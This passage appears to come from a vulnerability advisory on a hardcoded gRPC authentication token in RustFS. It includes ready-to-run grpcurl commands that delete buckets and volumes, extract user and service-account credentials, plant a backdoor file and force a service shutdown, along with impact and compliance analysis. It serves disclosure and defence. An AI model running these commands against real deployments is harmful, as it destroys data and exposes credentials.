Details
Result: ✅ Authenticated request accepted (business logic error returned, not auth error)
{
"error": {
"code": 36,
"errorInfo": "io error can not find disk"
}
}
Analysis:
- Request passed authentication (error is business logic, not authentication)
- Proves attacker has authenticated access to sensitive system information APIs
---
Impact Analysis
Affected APIs
All 50+ gRPC methods in node_service.NodeService are vulnerable:
🔴 CRITICAL Impact - Data Destruction
DeleteBucket- Delete production bucketsDeleteVolume- Destroy entire storage volumesDeleteUser- Remove legitimate usersDeletePolicy- Remove access control policiesDeleteServiceAccount- Remove service accounts
🔴 CRITICAL Impact - Configuration Manipulation
ReloadSiteReplicationConfig- Corrupt cluster replicationSignalService- Control service lifecycleLoadPolicy- Modify access control policiesLoadPolicyMapping- Alter policy assignments
🟠 HIGH Impact - Unauthorized Data Access/Modification
ReadAll/ReadAt- Read arbitrary dataWriteAll/WriteStream- Inject malicious dataRenameFile/RenameData- Manipulate file systemUpdateMetadata/WriteMetadata- Corrupt metadata
🟠 HIGH Impact - Privilege Escalation
LoadUser- Access user credentialsLoadServiceAccount- Access service credentialsLoadGroup- Access group memberships
🟡 MEDIUM Impact - Information Disclosure
ServerInfo- Server configuration disclosureDiskInfo- Storage configuration disclosureGetMetrics- Performance metrics disclosureGetBucketStats- Bucket statistics disclosureLocalStorageInfo- Storage system informationListBucket- Bucket enumeration
🟡 MEDIUM Impact - Cluster Operations
MakeBucket- Unauthorized bucket creationHealBucket- Trigger repair operationsBackgroundHealStatus- Monitor internal operations
Attack Scenarios
Scenario 1: Data Destruction
# Enumerate all buckets
grpcurl -plaintext -H 'authorization: rustfs rpc' \
-d '{"options": "{}"}' \
localhost:9000 node_service.NodeService/ListBucket
# Delete critical production bucket
grpcurl -plaintext -H 'authorization: rustfs rpc' \
-d '{"bucket": "production-data"}' \
localhost:9000 node_service.NodeService/DeleteBucket
# Delete entire storage volume
grpcurl -plaintext -H 'authorization: rustfs rpc' \
-d '{"volume": "vol1"}' \
localhost:9000 node_service.NodeService/DeleteVolume
Impact: Complete data loss, business disruption
Scenario 2: Credential Harvesting
# Extract user credentials
grpcurl -plaintext -H 'authorization: rustfs rpc' \
-d '{"access_key": "admin"}' \
localhost:9000 node_service.NodeService/LoadUser
# Extract service account credentials
grpcurl -plaintext -H 'authorization: rustfs rpc' \
-d '{"access_key": "service-account"}' \
localhost:9000 node_service.NodeService/LoadServiceAccount
# Exfiltrate IAM policies
grpcurl -plaintext -H 'authorization: rustfs rpc' \
-d '{"name": "admin-policy"}' \
localhost:9000 node_service.NodeService/LoadPolicy
Impact: Complete IAM compromise, lateral movement
Scenario 3: Backdoor Installation
# Inject malicious data into system paths
grpcurl -plaintext -H 'authorization: rustfs rpc' \
-d '{"volume": "config", "path": "backdoor.sh", "buf": "..."}' \
localhost:9000 node_service.NodeService/WriteAll
# Modify system configuration
grpcurl -plaintext -H 'authorization: rustfs rpc' \
-d '{"bucket": "system", "path": ".rustfs.sys/config.json", "fi": "..."}' \
localhost:9000 node_service.NodeService/WriteMetadata
Impact: Persistent compromise, further exploitation
Scenario 4: Cluster Disruption
# Corrupt replication configuration
grpcurl -plaintext -H 'authorization: rustfs rpc' \
-d '{}' \
localhost:9000 node_service.NodeService/ReloadSiteReplicationConfig
# Force service restart/shutdown
grpcurl -plaintext -H 'authorization: rustfs rpc' \
-d '{"sig": 2}' \
localhost:9000 node_service.NodeService/SignalService
Impact: Distributed system failure, data inconsistency
---
Exploitation Preconditions
Required Conditions
✅ All conditions typically met in production deployments:
- Network Access: Attacker can reach gRPC port (9000/TCP)
- RustFS binds to
0.0.0.0by default (all interfaces) - Commonly exposed for distributed node communication
- Token Knowledge: Token is publicly known
- Available in public GitHub repository
- Identical across all RustFS installations
- Cannot be changed without code modification
- No Additional Security Controls:
- No mTLS/certificate-based authentication
- No IP whitelisting (typically)
- No VPN/network segmentation requirements
- No rate limiting on authentication attempts
Attack Complexity
Complexity: 🟢 TRIVIAL
- Single
grpcurlcommand with hardcoded token - No exploit development required
- No timing or race conditions
- No target-specific reconnaissance needed
- Fully automatable
- Works against any RustFS instance
Time to Exploit: < 1 minute
---
Security Impact
Confidentiality Impact: HIGH
- Complete Data Disclosure: All stored objects readable via
ReadAll/ReadAt - Credential Exposure: IAM users, service accounts, policies accessible
- Configuration Disclosure: Server, storage, cluster configuration leaked
- Metrics Exposure: Performance and usage metrics accessible
Integrity Impact: HIGH
- Data Modification: Arbitrary data injection via
WriteAll/WriteStream - Metadata Corruption: File metadata tampering via
WriteMetadata - Policy Manipulation: IAM policies modifiable via
LoadPolicy - Configuration Changes: Cluster replication config alterable
Availability Impact: HIGH
- Data Destruction: Buckets/volumes deletable via
DeleteBucket/DeleteVolume - Service Disruption: Service controllable via
SignalService - Cluster Degradation: Replication corruption via
ReloadSiteReplicationConfig - Resource Exhaustion: Arbitrary data writes, bucket creation
---
Compliance & Regulatory Impact
Standards Violated
PCI-DSS v4.0
- Requirement 6.5.3: Broken authentication
- Requirement 8.2: Strong authentication required
- Requirement 8.6: Multi-factor authentication required
OWASP Top 10 2021
- A07:2021 - Identification and Authentication Failures
- Use of hard-coded credentials
- Missing or ineffective authentication
CWE (Common Weakness Enumeration)
- CWE-798: Use of Hard-coded Credentials (Rank: 37/400)
- CWE-1391: Use of Weak Credentials
- CWE-287: Improper Authentication
NIST Cybersecurity Framework
- PR.AC-1: Access control mechanisms violated
- PR.AC-7: Authentication mechanisms insufficient
SOC 2 Type II
- CC6.1: Logical access controls inadequate
- CC6.6: Credential management controls missing